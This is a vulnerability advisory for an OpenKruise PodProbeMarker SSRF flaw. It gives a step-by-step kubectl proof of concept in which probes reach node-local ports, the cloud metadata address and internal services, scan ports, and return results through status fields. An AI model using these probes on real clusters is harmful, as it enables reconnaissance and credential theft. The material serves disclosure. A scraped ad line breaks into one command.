| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/openkruise/kruise | ≥ 1.8.0, < 1.8.3< 1.7.5 | 1.8.31.7.5 |
| kruise | ≥ 1.8.0, < 1.8.3< 1.7.5 | 1.8.31.7.5 |
PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.
helm repo add openkruise https://openkruise.github.io/charts/
helm install kruise openkruise/kruise --version 1.8.0 \
--namespace kruise-system --create-namespace
kubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork
Output:
hostNetwork: true
kubectl apply -f - <<EOF
apiVersion: v1
kind: Namespace
metadata:
name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: attacker
namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: ppm-creator
namespace: tenant-a
rules:
- apiGroups: ["apps.kruise.io"]
resources: ["podprobemarkers"]
verbs: ["create","get","list","watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: ppm-creator-binding
namespace: tenant-a
subjects:
- kind: ServiceAccount
name: attacker
namespace: tenant-a
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ppm-creator
EOF
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
name: victim
namespace: tenant-a
spec:
replicas: 1
selector:
matchLabels:
app: victim
template:
metadata:
labels:
app: victim
spec:
containers:
- name: victim
image: busybox:1.36
command: ["/bin/sh","-c","sleep 36000"]
EOF
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeNODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)
docker exec $NODE_CONTAINER curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:10248/healthz
Output:
200
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
name: ppm-tcp-ssrf
namespace: tenant-a
spec:
selector:
matchLabels:
app: victim
probes:
- name: tcp-ssrf
containerName: victim
podConditionType: ssrf.kruise.io/tcp
probe:
tcpSocket:
host: 127.0.0.1
port: 10248
timeoutSeconds: 2
periodSeconds: 5
EOF
Output:
podprobemarker.apps.kruise.io/ppm-tcp-ssrf created
sleep 10
NODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 "ppm-tcp-ssrf"
Output:
name: ppm-tcp-ssrf#tcp-ssrf
probe:
tcpSocket:
host: 127.0.0.1
port: 10248
status:
podProbeStatuses:
- name: victim-8596ff64d6-jklnb
namespace: tenant-a
probeStates:
- lastProbeTime: "2026-01-13T17:48:10Z"
name: ppm-tcp-ssrf#tcp-ssrf
state: Succeeded
Evidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
name: ppm-tcp-closed
namespace: tenant-a
spec:
selector:
matchLabels:
app: victim
probes:
- name: tcp-closed
containerName: victim
podConditionType: ssrf.kruise.io/tcp-closed
probe:
tcpSocket:
host: 127.0.0.1
port: 9999
timeoutSeconds: 2
periodSeconds: 5
EOF
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 "ppm-tcp-closed"
Output:
- lastProbeTime: "2026-01-13T17:51:08Z"
message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
name: ppm-tcp-closed#tcp-closed
state: Failed
Evidence: Failed probe with "connection refused" message enables port state differentiation for scanning.
VICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}')
kubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 "Conditions:"
Output:
Conditions:
Type Status
ssrf.kruise.io/tcp True
ssrf.kruise.io/tcp-closed False
Events:
Normal KruiseProbeSucceeded 96s (x24 over 3m26s) kruise-daemon-podprobe
File: pkg/daemon/podprobe/prober.go
func (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {
host := tcp.Host
if host == "" {
host = podIP
}
return tcpProber{
tcp: tcp,
host: host,
}
}
File: pkg/webhook/podprobemarker/validating/probe_create_update_handler.go
func validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {
return ValidatePortNumOrName(tcp.Port, fldPath.Child("port"))
}
Note: Only port validation, no Host restriction.
Scenario 1 - Cloud metadata access:
probe:
tcpSocket:
host: 169.254.169.254
port: 80
Scenario 2 - Internal service discovery:
probe:
tcpSocket:
host: 10.0.0.1
port: 6379
Scenario 3 - Node-local kubelet API:
probe:
tcpSocket:
host: 127.0.0.1
port: 10250
$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 "hostNetwork"
hostNetwork: true
restartPolicy: Always
status:
podProbeStatuses:
probeStates:
- name: ppm-tcp-ssrf#tcp-ssrf
state: Succeeded
status:
podProbeStatuses:
probeStates:
- message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
name: ppm-tcp-closed#tcp-closed
state: Failed
Conditions:
Type Status
ssrf.kruise.io/tcp True
ssrf.kruise.io/tcp-closed False
HTTPGet probe rejected by webhook in OpenKruise v1.8.0:
Error: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe
TCPSocket probe remains vulnerable.
Temporary mitigation:
Permanent fix:
Verification Environment: kind v1.30.0 + OpenKruise v1.8.0